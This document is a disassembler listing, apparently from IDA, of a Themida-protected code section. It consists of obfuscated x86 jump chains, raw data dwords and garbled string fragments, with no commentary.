dd 0D501FFD0h, 8324148Bh, 2C8704C4h, 24248B24h, 24048B66h
dd 0FF994FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AED5: ; CODE XREF: Themida_:0054AFBFj
push ebp
mov ebp, 1F786F92h
shl ebp, 4
jmp loc_54F4A8
; ---------------------------------------------------------------------------
db 87h
dd 248B2404h, 4216624h, 97E99C24h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AEF3: ; CODE XREF: Themida_:0054797Ej
mov ecx, 4D893641h
mov edi, 4E41AD10h
sub edi, 150F12F8h
jmp loc_5483F0
; ---------------------------------------------------------------------------
dd 0C78070B7h, 80F72813h, 305A13EFh, 1C8B66F8h, 2C48324h
dd 0E949EB80h, 323Fh, 0C9F8E95Dh, 0D001FFFFh, 8D77E505h
dd 2434FF00h, 4C4815Ah, 1000000h, 4CCC2DC8h, 0C8B66DBh
dd 4C48324h, 0FFBA35E9h, 0E95059FFh, 56BCh, 42474FFh, 24048F5Eh
dd 5224248Bh, 0FFB9D6E9h, 815358FFh, 2BEA2404h, 34E96625h
dd 81FFFFFDh, 4C1h, 4C18300h, 0E9240C87h, 1BA7h
; ---------------------------------------------------------------------------
loc_54AF84: ; CODE XREF: Themida_:0054E749j
or eax, esi
pop esi
jmp loc_54C85F
; ---------------------------------------------------------------------------
loc_54AF8C: ; CODE XREF: Themida_:0054BCF4j
mov edx, eax
pop eax
xor edx, 3B7D2E7Bh
shr edx, 5
xor edx, 64B000BFh
jmp loc_54BA52
; ---------------------------------------------------------------------------
loc_54AFA3: ; CODE XREF: Themida_:0054F529j
push dword ptr [edi+eax*4]
sub dword ptr [esp], 6AC13F01h
mov eax, [esp]
add esp, 4
push esi
mov esi, 1C02BEBh
xor esi, 3227444Dh
jmp loc_54AED5
; ---------------------------------------------------------------------------
aSs db 'SИ,=',0
align 2
dw 0C481h
dd 4, 875DEE01h, 0E95C2434h, 0FFFF95AEh, 4BAh, 35E98100h
dd 1046A54h, 35C181D1h, 8B046A54h, 0C4832414h, 2BD5504h
dd 1000000h, 0C335DE9h, 240C3124h, 5C240C33h, 9C2424D3h
dd 0FF9579E9h, 0BBE480FFh, 80BBC480h, 0E480D7ECh, 5FC48050h
dd 2CE9E788h, 8BFFFFB5h, 14892424h, 37BF5724h, 57362AEFh
dd 4D40E9h, 0FFE88300h, 0F740D0F7h, 1EB951D8h, 314F1D4Dh
dd 0EB8159C8h, 5E51876h, 0C381C301h, 5E51876h, 5BBE5658h
dd 5514C542h, 0C54259BDh, 0E9EE3114h, 43FCh, 24148B54h
dd 0FFE1C9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B075: ; CODE XREF: Themida_:00545441j
mov esi, 6A0E6A79h
add esi, 9F7CC487h
push ebx
mov ebx, 74306BE2h
sub ebp, ebx
pop ebx
add ebp, esi
push edx
push ecx
push 1A0D1939h
pop ecx
neg ecx
xor ecx, 91C28D25h
mov edx, ecx
jmp loc_545A42
; ---------------------------------------------------------------------------
dw 0FF53h
dd 5B042474h, 8B24048Fh, 0BD552424h, 47383A0Eh, 0FFBC7EE9h
dd 4C183FFh, 0FFCADCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B0C1: ; CODE XREF: Themida_:00547554j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
or edx, eax
shl edx, 1
jmp loc_54C61A
; ---------------------------------------------------------------------------
dw 34FFh
dd 240C8B24h, 4C481h, 0EC830000h, 242C8904h, 5150E589h
dd 386995B9h, 150AB847h, 7E96F48h, 8100001Eh, 4C4h, 4BB5300h
dd 1000000h, 0C2815BDAh, 2, 0FF947DE9h, 0DBF75BFFh, 46F3814Bh
dd 812FF943h, 0CEA5A7C3h, 5BDA8989h, 148BD631h, 4C48324h
dd 505EF201h, 2B8h, 58C20100h, 5C241487h, 0C8B60F66h, 0FFDD1DE9h
dd 4C483FFh, 0EA2E9h
db 0
; ---------------------------------------------------------------------------
loc_54B155: ; CODE XREF: Themida_:00547694j
or ebp, edx
jmp loc_5469E1
; ---------------------------------------------------------------------------
dd 0E9240C89h, 0FFFF9426h, 332B092Dh, 4008E931h, 0C4830000h
dd 580404h, 0A6B353E8h, 80E7EB80h, 0D82899C3h, 0FFB089E9h
dd 6605ADFFh, 1619062h, 6CCD68D8h, 2C890000h, 0D46BD24h
dd 0D5F74904h, 8102E5C1h, 0E2A0CEC5h, 0E5C1454Eh, 6EDC108h
dd 2888E581h, 814566AAh, 4ECh, 24348900h, 0E75590BEh, 0EB14E920h
dd 8B66FFFFh
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5450DC
; ---------------------------------------------------------------------------
dw 5552h
dd 0FFC612E9h, 240489FFh, 0FFD699E9h, 48F59FFh, 0CEE95C24h
dd 81FFFF9Fh, 0BE7B11E5h, 81DDF72Bh, 8C91DAEDh, 2447C787h
dd 56455B15h, 4286E952h, 7FE90000h, 0F7FFFF93h, 0D348E9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B212: ; CODE XREF: Themida_:0054AB6Fj
add esp, 4
pop dword ptr [esp]
pop esp
cmp ecx, eax
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
dd 2474FF51h, 2434FF04h, 37AFE959h, 0F5810000h, 0D3A9CE05h
dd 295DEA01h, 12EA81DAh, 8177514Fh, 0FA7846C2h, 3EA8155h
dd 8B25E10Ah, 8950241Ch, 405E0h, 4050000h, 87000000h, 15C2404h
dd 13C281C2h, 0E904DC31h, 0FFFF931Ah, 4C481h, 6C290000h
dd 51E90424h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B27F: ; CODE XREF: Themida_:00548D03j
add ecx, 4
push esi
mov esi, 4
sub ecx, 66E33519h
add ecx, esi
add ecx, 66E33519h
pop esi
xchg ecx, [esp]
pop esp
push ebx
jmp loc_54E056
; ---------------------------------------------------------------------------
dd 592434FFh, 4F6068h, 240C8900h, 70685954h, 89000053h
dd 468242Ch, 0E9000000h, 4477h, 42474FFh, 0D590E95Bh, 0C89FFFFh
dd 27C86824h, 0B8E92A7Dh, 5C000000h, 34FF3888h, 241C8B24h
dd 10FCE9h, 0C5815D00h, 4, 52BCBF57h, 0E7D1717Ch, 0A574EF81h
dd 0FD01E2F8h, 9F37E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B306: ; CODE XREF: Themida_:0054A975j
sub edi, 2F7A3D6Dh
sub esp, 4
jmp loc_54AC87
; ---------------------------------------------------------------------------
aIYs1 db '┬хYИ1*',0
align 4
dd 0CC243481h, 5E538E6Ch, 6CCCF681h, 0C15F538Eh, 0BD5505E6h
dd 7E57DC1h, 815DEE09h, 52F75C6h, 4E6C177h, 69F4CE81h
dd 0C6816D2Ah, 90850410h, 555EF301h, 0FFD821E9h, 0D8285BFFh
dd 0FFEA08E9h, 240C8BFFh, 3304C483h, 3C31243Ch, 243C3324h
dd 243DE9h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h, 34A1h
; ---------------------------------------------------------------------------
loc_54B384: ; CODE XREF: Themida_:00545F30j
xchg edx, ebp
push ebx
jmp loc_54DB40
; ---------------------------------------------------------------------------
dd 4DE9D329h, 5900001Dh, 27C4E981h, 0CF892A7Dh, 5FFA0159h
dd 2474FF52h, 48F5A04h, 4FF5C24h, 0D7E99C24h, 53FFFF91h
dd 27E96AB3h, 50FFFFF4h, 80DF55B8h, 58C201E5h, 815AD721h
dd 0DD6399CFh, 0E6EF816Ah, 81284153h, 0FAF4B3C7h, 2D64E922h
dd 1C870000h, 26CDE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B3E6: ; CODE XREF: Themida_:0054E4E9j
sub ebp, 0D7A090ECh
mov esi, ebp
pop ebp
shl esi, 4
jmp loc_54BC44
; ---------------------------------------------------------------------------
loc_54B3F7: ; CODE XREF: Themida_:0054978Dj
neg ecx
jmp loc_54C8BB
; ---------------------------------------------------------------------------
dw 0ED81h
dd 67311131h, 19E9EE89h, 68FFFFFBh, 2973h, 0B9240C89h
dd 0
aUiSO db ')аU┴мИ+O',0
align 2
dd offset dword_598E68
dw 8900h
dd 6B1240Ch, 0E9C0C9FEh, 0DB4EE908h, 31ADFFFFh, 0EFBF57D8h
dd 0E93B854Eh, 0FFFFC0C0h
; ---------------------------------------------------------------------------
loc_54B444: ; CODE XREF: Themida_:0054E634j
push 55Eh
mov [esp], ecx
push 2D8Fh
mov [esp], ebp
mov ebp, 0EBE7E38h
jmp loc_54E74E
; ---------------------------------------------------------------------------
dw 1489h
dd 0DBBE5624h, 0BA1ED90Ch, 5A844E67h, 348BF201h, 4C48124h
dd 0C1000000h, 0EA8105E2h, 2BAB683Ch, 148BD101h, 0F024E924h
dd 28FFFFFh, 0FF90F9E9h, 99C980FFh, 0FFBC70E9h, 24248BFFh
dd 50241489h, 0A439E99Ch, 0E688FFFFh, 0EAC4E958h, 335DFFFFh
dd 4312404h, 24043324h, 2BC8E9h, 2434FF00h, 8324148Bh
dd 895604C4h, 4C681E6h, 0E9000000h, 0FFFFC4AFh, 0A41CEA81h
dd 0D6010004h, 8324148Bh, 0EE8304C4h, 24343304h, 33243431h
dd 248B2434h, 0DA16E924h, 48BFFFFh, 0C078E924h, 0EC83FFFFh
dd 0C896602h, 0B3535224h, 0FFEB803Ch, 8904EC83h, 0B353240Ch
dd 0C0EB807Eh, 0EB80C3FEh, 8BDD8861h, 0C481241Ch, 4, 4CE9EB30h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B52F: ; CODE XREF: Themida_:0054D0FCj
pop ebx
jmp loc_54CD01
; ---------------------------------------------------------------------------
db 58h, 68h, 0FCh
dd 89000055h, 0E9542404h, 2BBBh, 9631E955h, 0BB53FFFFh
dd 4, 4245C01h, 405585Bh, 68000000h, 58CCh, 0BB241C89h
dd 4, 0E95BD801h, 0FFFFBAFEh
; ---------------------------------------------------------------------------
loc_54B570: ; CODE XREF: Themida_:0054CEA8j
push edx
mov edx, 1F1E7A76h
shl edx, 4
sub edx, 818254B0h
add ebx, 0D193057h
jmp loc_54EA80
; ---------------------------------------------------------------------------
loc_54B58A: ; CODE XREF: Themida_:0054F7E9j
push esi
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_54934D
; ---------------------------------------------------------------------------
dw 8F54h
dd 0BB532404h, 4, 4245C01h, 0FFCE23E9h, 4D828FFh, 0B5515219h
dd 59EA88A6h, 0E9F7B050h, 3B33h
; ---------------------------------------------------------------------------
loc_54B5C0: ; CODE XREF: Themida_:0054C630j
pop eax
shr eax, 2
neg eax
jmp loc_54BCEF
; ---------------------------------------------------------------------------
db 2Ch
dd 0B5515B05h, 29DBE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B5D6: ; CODE XREF: Themida_:0054EE7Aj
mov ebp, 484920EAh
push eax
mov eax, 2B857E30h
xor eax, 380106BBh
push ecx
mov ecx, 55ED13A3h
or eax, ecx
jmp loc_548CEB
; ---------------------------------------------------------------------------
db 53h
dd 7C88CF88h, 6CE90187h, 66FFFFE9h, 8EBC05Ah, 2CA8C380h
dd 0E9D8285Ch, 5D1h
; ---------------------------------------------------------------------------
loc_54B610: ; CODE XREF: Themida_:00544B27j
or edx, eax
jmp loc_54ECA6
; ---------------------------------------------------------------------------
db 52h
dd 652A6851h, 0D1596AC6h, 10E981E1h, 0E9BB929Fh, 42B1h
; ---------------------------------------------------------------------------
loc_54B62C: ; CODE XREF: Themida_:00549488j
pop ecx
xchg ebp, [esp]
pop esp
bt [esp], eax
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
db 88h
dd 34FF5830h, 2434FF24h, 0D9ABE95Ah, 401FFFFh, 4F0CE924h
dd 34FF0000h, 4A99E924h, 0E8310000h, 81242C8Bh, 4C4h, 773A6800h
dd 34890000h, 30BE924h, 875E0000h, 95E9240Ch, 5AFFFFA7h
dd 335FFE29h, 34312434h, 24343324h, 2777E9h
db 0
; ---------------------------------------------------------------------------
loc_54B68D: ; CODE XREF: Themida_:00548E11j
sub esi, 88EC2FBBh
or edx, esi
jmp loc_54EF7D
; ---------------------------------------------------------------------------
dw 0C483h
dd 1816804h, 3C890000h, 39B9E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B6AA: ; CODE XREF: Themida_:00549730j
push 69F0h
mov [esp], ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_54CF6F
; ---------------------------------------------------------------------------
loc_54B6BF: ; CODE XREF: Themida_:005467F7j
push esi
push 0A592DEF2h
pop esi
add ecx, 1C377FB2h
sub ecx, 6AA60BE5h
add ecx, esi
add ecx, 6AA60BE5h
push esi
mov esi, 1C377FB2h
sub ecx, esi
pop esi
pop esi
push ebx
mov ebx, 24h
add ebx, edi
push eax
mov eax, 0
jmp loc_54FC07
; ---------------------------------------------------------------------------
loc_54B6F7: ; CODE XREF: Themida_:005493FEj
pop dword ptr [esp]
pop esp
shr ecx, 0Ah
push 180Ah
mov [esp], ebp
push ebx
push eax
mov eax, 109622CCh
add [esp+4], eax
mov eax, [esp]
jmp loc_549EBF
; ---------------------------------------------------------------------------
db 58h, 1, 0C6h
dd 58FBEE81h, 6E94FB8h, 66FFFFDDh, 57240C8Bh, 4EC81h, 24890000h
dd 24048124h, 4, 81243C8Bh, 4C4h, 0A838E900h, 2489FFFFh
dd 4BD5524h, 1000000h, 5D04246Ch, 0E92434FFh, 13A4h, 0E9873488h
dd 0FFFFD1DBh, 89241C89h, 376E9E3h, 815B0000h, 483A25EBh
dd 81D3F701h, 882408EBh, 92F38146h, 0E96BF056h, 0FFFFE0F3h
; ---------------------------------------------------------------------------
loc_54B78C: ; CODE XREF: Themida_:0055027Cj
push ebx
push esi
mov esi, 409A0F62h
mov ebx, 2501354Bh
add ebx, 3A7F526Dh
add ebx, esi
sub ebx, 3A7F526Dh
pop esi
jmp loc_54A21C
; ---------------------------------------------------------------------------
dd 4C481h, 48F0000h, 24248B24h, 5A2434FFh, 0FFA4F7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B7C1: ; CODE XREF: Themida_:00546813j
push 2A3Dh
jmp loc_5445AC
; ---------------------------------------------------------------------------
loc_54B7CB: ; CODE XREF: Themida_:0054D6B8j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54E169
; ---------------------------------------------------------------------------
aXaqt db '(гX─Оt',0
dw 5BF9h
dd 8059CB00h, 0C3285AEBh, 0FF9D3FE9h, 2A4ABEFFh, 72681C83h
dd 8900004Ah, 1CB82404h, 0E913B36Eh, 0FFFFEB4Bh
; ---------------------------------------------------------------------------
loc_54B80C: ; CODE XREF: Themida_:00544AD9j
add edx, 81D78BD1h
add ebp, edx
pop edx
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_54F403
; ---------------------------------------------------------------------------
db 0FFh
dd 48B2434h, 4C48324h, 0C8B5451h, 4C48324h, 4C181h, 0BA520000h
dd 4, 0A3E9D101h, 6800001Eh, 796Bh, 0BF243C89h, 46FF6768h
dd 2BA7EF81h, 68530267h, 6F5F4EFCh, 0E9241C8Bh, 15h, 3124248Bh
dd 0FE92404h, 0BAFFFF8Dh, 79D67F6Fh, 31D6E9h, 4C48300h
dd 815BDF29h, 0E16267C7h, 82BA5213h, 0F73A8847h, 0E50AE9D2h
dd 433FFFFh, 0B60F5C24h, 33A6E9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B8AA: ; CODE XREF: Themida_:0054C325j
shr edi, 2
sub edi, 34115335h
push edx
mov edx, 38E70609h
jmp loc_54C9A3
; ---------------------------------------------------------------------------
loc_54B8BE: ; CODE XREF: Themida_:0054C4A2j
pop edi
and eax, ebp
pop ebp
shr eax, 0Eh
xor eax, ecx
push eax
push edi
mov edi, esp
jmp loc_54FFDB
; ---------------------------------------------------------------------------
dd 81242C8Bh, 4C4h, 0BA525800h, 14636C9Ch, 5DE9D2F7h, 51FFFF8Dh
dd 4E0EE7B9h, 32E98158h, 506EEA6Fh, 0F8320CB8h, 88E9400Dh
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B8FF: ; CODE XREF: Themida_:0054914Dj
mov esi, 7C77574Ah
and edx, esi
jmp loc_54E8D5
; ---------------------------------------------------------------------------
loc_54B90B: ; CODE XREF: Themida_:0054CA19j
xchg ebx, [esp]
jmp loc_54A490
; ---------------------------------------------------------------------------
db 83h
dd 248904ECh, 24048124h, 4, 0E9243C8Bh, 20B0h, 5624048Bh
dd 0C6815E54h, 4, 4C681h, 34870000h, 0FE315C24h, 83243C8Bh
dd 0DCE904C4h, 80FFFFB5h, 0F7889AF6h, 0FFC19CE9h, 0E9E828FFh
dd 0FFFF9FF7h
; ---------------------------------------------------------------------------
loc_54B95C: ; CODE XREF: Themida_:00548CC0j
mov cl, 38h
add cl, 34h
shr cl, 5
sub cl, 22h
shl cl, 7
jmp loc_54FF75
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF3877h, 240C8B24h, 0FFE1F1E9h, 100BEFFh, 0C2E90000h
dd 88FFFFA3h, 5AD188C2h, 0FFCB40E9h, 39D368FFh, 5CE90000h
dd 53000040h, 9D5AE955h, 0C5FEFFFFh, 0E944ED80h, 0FFFFA647h
dd 6822F781h, 0EF81123Ch, 5970DFEh, 3B60EF81h, 0FE014D19h
dd 0FFC1A3E9h, 4EC81FFh, 89000000h, 0E951241Ch, 0FFFFBD29h
dd 4C481h, 0F4E90000h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B9DF: ; CODE XREF: Themida_:0054D2FBj
xor [esp], ecx
xor ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_54BBFA
; ---------------------------------------------------------------------------
loc_54B9F1: ; CODE XREF: Themida_:00550639j
pop edx
add ebx, ecx
mov ecx, [esp]
jmp loc_544A2A
; ---------------------------------------------------------------------------
dd 5C243C87h, 115E9h, 28C78100h, 81DDE3A6h, 1D1BEFEDh
dd 71C58101h, 1702719h, 80BA52FDh, 81297B51h, 4B4056C2h
dd 0A7F2812Bh, 2924E188h, 0E08AE9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BA32: ; CODE XREF: Themida_:0054BB72j
xchg ecx, [esp]
pop esp
push 6Dh
mov [esp], ecx
mov ecx, 1
and eax, ecx
jmp loc_54789A
; ---------------------------------------------------------------------------
dw 77FFh
dd 0F7B4E940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BA52: ; CODE XREF: Themida_:0054AF9Ej
mov ebp, edx
jmp loc_547D11
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 0DF41EF68h, 24048B62h, 0E904C483h, 0FFFFA905h, 0EB814B4Bh
dd 97CB9B64h, 1C73E9h
db 0
; ---------------------------------------------------------------------------
loc_54BA79: ; CODE XREF: Themida_:0054FC2Dj
add ebx, 32FBA285h
add esi, 61B55A94h
sub esi, ebx
sub esp, 4
mov [esp], edx
mov edx, 61B55A94h
sub esi, edx
jmp loc_54E1DF
; ---------------------------------------------------------------------------
loc_54BA99: ; CODE XREF: Themida_:00549011j
pop esi
jmp loc_548FB8
; ---------------------------------------------------------------------------
db 33h
dd 2C31242Ch, 242C3324h, 0FF8B79E9h, 81E189FFh, 4C1h, 4E98300h
dd 0E9240C87h, 0FFFFB024h, 0CEDE4968h, 82E95D81h, 0F7FFFFD4h
dd 6FF181D9h, 0F727744Ah, 4FC181D9h, 1407006h, 0DC2D59C8h
dd 0E97D724Ah, 0FFFFE14Fh, 8904EC83h, 4BA2414h, 1000000h
dd 53565AD3h, 2BBh, 5BDE8900h, 875EF301h, 248B241Ch, 240CD324h
dd 8A78E99Ch, 0D001FFFFh, 0B148E95Ah, 0E95AFFFFh, 0FFFF8A6Ah
dd 389568h, 243C8900h, 118AE9h, 57E38900h, 0CAFE9h, 24148B00h
dd 4C481h, 0F0010000h, 8324348Bh, 20504C4h, 87000000h
dd 665C2404h, 0E9240C8Bh, 429Ch, 37B0BA52h, 0E94A748Ch
dd 0FFFFB795h
; ---------------------------------------------------------------------------
loc_54BB64: ; CODE XREF: Themida_:0054E18Dj
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_54BA32
; ---------------------------------------------------------------------------
db 89h
dd 99BB241Ch, 810C075Ch, 6C6128E3h, 34E95111h, 31FFFF8Dh
dd 0F78158C7h, 0BF707FEh, 5891C281h, 0FA013326h, 5891EA81h
dd 815F3326h, 2C2h, 24148700h, 0FFDF2BE9h, 0B65266FFh
dd 0E9F000ADh, 0FFFFA3BCh, 0F3E9DE88h, 0F7000047h, 4EBE56DDh
dd 11DC5BFh, 24348BF5h, 5104C483h, 0CB89E989h, 242C8B59h
dd 0FFA2B3E9h, 5B5C04FFh, 0FFB414E9h, 67A368FFh, 815A461Ah
dd 0E32E8ECAh, 0D369E937h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BBFA: ; CODE XREF: Themida_:0054B9ECj
mov edi, 4
and ecx, edi
mov edi, [esp]
jmp loc_54476F
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 24348B5Bh, 4C481h, 0D8010000h, 8B2434FFh, 0C483241Ch
dd 3337E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BC26: ; CODE XREF: Themida_:0054D118j
mov ebx, [esp]
jmp loc_54DA15
; ---------------------------------------------------------------------------
dw 34FFh
dd 240C8B24h, 6804C483h, 1890h, 0E9243489h, 36D7h
; ---------------------------------------------------------------------------
loc_54BC44: ; CODE XREF: Themida_:0054B3F2j
add esi, 0CCEB6986h
jmp loc_54E5FE
; ---------------------------------------------------------------------------
db 52h
dd 0E951BBB2h, 0FFFFD843h, 405h, 22CBE900h, 53AD0000h
dd 1127E9h, 5FFA0100h, 835AD601h, 348704C6h, 20E95C24h
dd 58FFFFE6h, 15D6BA52h, 0EA810D57h, 0FF7672Ah, 0F281DAF7h
dd 670B5418h, 1359C281h, 0D021B530h, 3E8C15Ah, 32628005h
dd 2570052Bh, 19E906A1h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BCAB: ; CODE XREF: Themida_:00545A55j
add ebp, edx
jmp loc_549447
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC832404h, 0CFC3E904h, 159FFFFh, 0C78358C7h, 243C8704h
dd 40E9515Ch, 83FFFFDFh, 0C68304C4h, 0E5E0E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BCDA: ; CODE XREF: Themida_:0054E1F7j
xor eax, ecx
jmp loc_5462E7
; ---------------------------------------------------------------------------
loc_54BCE1: ; CODE XREF: Themida_:00547E82j
push edx
mov edx, 7D0830E0h
add edi, edx
pop edx
jmp loc_5504F9
; ---------------------------------------------------------------------------
loc_54BCEF: ; CODE XREF: Themida_:0054B5C6j
add eax, 0FBAA968h
jmp loc_54AF8C
; ---------------------------------------------------------------------------
db 4Bh, 81h, 0C3h
dd 1BCB40FBh, 0FFE0BBE9h, 4B8FFh, 0C3010000h, 8324048Bh
dd 0C38304C4h, 241C8704h, 7BD8685Ch, 48E90000h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BD23: ; CODE XREF: Themida_:00544841j
sub dword ptr [esp], 7F4602DBh
jmp loc_54D486
; ---------------------------------------------------------------------------
loc_54BD2F: ; CODE XREF: Themida_:0054DB35j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_54D979
; ---------------------------------------------------------------------------
dw 1CF7h
dd 43E99C24h, 8BFFFF88h, 0C4812434h, 4, 0E95DE829h, 2920h
dd 8124048Bh, 4C4h, 68505700h, 62822B3Bh, 5CE0558h, 0C789F3E7h
dd 1CF8158h, 0E97DE82Fh, 0FFFFA0EDh, 0EEE9F389h, 66000027h
dd 66513768h, 66241489h, 0F7E99C50h, 66FFFF87h, 0E9240489h
dd 0FFFF87EEh, 4AC04ACh, 22B551B3h, 11E9E828h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BDAB: ; CODE XREF: Themida_:00548187j
add al, 4Eh
jmp loc_54CEAD
; ---------------------------------------------------------------------------
dw 0EC83h
dd 241C8904h, 4BBh, 0E9DA0100h, 3E6Eh
; ---------------------------------------------------------------------------
loc_54BDC4: ; CODE XREF: Themida_:0054FA4Fj
mov eax, esp
add eax, 4
jmp loc_545A8C
; ---------------------------------------------------------------------------
dd 0E9028864h, 0FFFF87B2h, 8102EAC1h, 0CCA1D9F2h, 5AD5897Bh
dd 3D51E9h, 48B6600h, 0CB11E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BDF2: ; CODE XREF: Themida_:0054A2DDj
mov ebx, 1
jmp loc_546291
; ---------------------------------------------------------------------------
dd 0B8240489h, 5DE4630Fh, 7E0DBE56h, 0E681054Fh, 0A8978DEh
dd 792CCE81h, 81460D14h, 154C79EEh, 0ECF68175h, 0E99E1045h
dd 0FFFFB731h, 4EFB68h, 240C8900h, 5626AEB9h, 59CF2976h
dd 0C781D701h, 765626AEh, 684FB951h, 0CF012F77h, 0F8315A59h
dd 2EEE9h, 24248900h, 4240483h, 4C18159h, 68000000h, 3EA6h
dd 50241489h, 8E4708B8h, 52E9483Bh, 50FFFFA2h, 0DDE9E089h
dd 28FFFFFDh, 2CC02CF8h, 0EC8151A6h, 4, 4007E9h, 7579BB00h
dd 0F3817DD7h, 326B5D56h, 5702E3C1h, 3B40DFBFh, 142DE94Ah
dd 565F0000h, 0FFB0CDE9h, 24148BFFh, 1A19E9h
db 0
; ---------------------------------------------------------------------------
loc_54BEB5: ; CODE XREF: Themida_:0054DB4Aj
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
pop ebx
pop ebp
jmp loc_5491F8
; ---------------------------------------------------------------------------
db 0ADh, 2Dh, 0FEh
dd 135EF3Eh, 25E957D8h, 66000023h, 2D66E801h, 2C8B18BAh
dd 0E6F7E924h, 1C89FFFFh, 2BB24h, 0D8010000h, 5B2434FFh
dd 4C481h, 4870000h, 8B665C24h, 47682404h, 8900000Dh, 0FE682414h
dd 54000042h, 8324048Fh, 8B042404h, 0D8E92414h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BF27: ; CODE XREF: Themida_:0054FEE3j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
neg dword ptr [esp]
jmp loc_54866F
; ---------------------------------------------------------------------------
dd 0C925E958h, 7C8AFFFFh, 44880224h, 8B660224h, 54512404h
dd 4C18159h, 81000000h, 2C1h, 240C8700h, 0FFC83AE9h, 6DE95EFFh
dd 66FFFFB8h, 56240C8Bh, 0FBE9E689h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BF77: ; CODE XREF: Themida_:00548307j
or ebx, eax
jmp loc_547B1B
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 2EA3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BF8A: ; CODE XREF: Themida_:00549D18j
add ebx, edi
jmp loc_5451CC
; ---------------------------------------------------------------------------
aFzsx db 'fZИX=',0
align 4
dd 11ABEB81h, 0B9511C29h, 66B357C5h, 26D2E981h, 68410D24h
dd 1B83h, 0BB241C89h, 307A1E10h, 0FFE9D8E9h, 1FC868FFh
dd 8FE90000h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BFC7: ; CODE XREF: Themida_:0054CF4Dj
imul cx
push small 7C97h
mov [esp], dx
push ax
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 8324048Bh, 0C4E904C4h, 5BFFFF8Bh, 54D0B850h
dd 0EFE913D7h, 0E9FFFFA5h, 0FFFF858Eh, 0FFB60EB1h, 34FFCE30h
dd 0C4815924h, 4, 0A9EE80h, 0A9C680DEh, 5B2434FFh, 4EC81h
dd 4890000h, 5E08924h, 4, 405h, 24043300h, 33240431h, 305C2404h
dd 0C3305AF0h, 0FFDFB6E9h, 686653FFh, 8B6670ACh, 0D1E9241Ch
dd 59FFFF92h, 2C381h, 1C870000h, 0D4FEE924h, 248BFFFFh
dd 0CC6CE924h, 0FF5CFFFFh, 48B2434h, 53E95724h, 0BBFFFFE4h
dd 0D915B596h, 315BDD29h, 0D8015DEBh, 0FFE4D8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C085: ; CODE XREF: Themida_:0054FCBBj
mov [esp], ebp
push ecx
mov ecx, 9555554h
mov ebp, 4CECC651h
sub esp, 4
mov [esp], edi
mov edi, 0A32313Eh
jmp loc_548CC5
; ---------------------------------------------------------------------------
db 0B0h
dd 5AF028F7h, 846E9h, 24048F00h, 0FF24248Bh, 68582434h
dd 5BC4h, 0E9240489h, 423Ch, 0E2EDE955h, 0C481FFFFh, 4
dd 44C3C281h, 0C2014A9Ah, 0FFB7E9E9h, 10BD55FFh, 812C5C6Eh
dd 0EFEC81C5h, 17940537h, 66E915F9h, 0ACFFFFE0h, 8904B204h
dd 0D800E32Ch, 892CE304h, 4EC81h, 0C890000h, 53FDB524h
dd 0FD28FFB7h, 4EC835Bh, 0FBFE9h, 24348700h, 0FF9BE5E9h
dd 0E9EB09FFh, 0FFFFE992h, 94E95854h
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C12F: ; CODE XREF: Themida_:0054E898j
sub ebp, 109622CCh
push 317Ah
jmp loc_54FA15
; ---------------------------------------------------------------------------
db 5Fh
dd 0BE9h, 58C18000h, 0E96DE980h, 0FFFFA765h, 0FE67E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
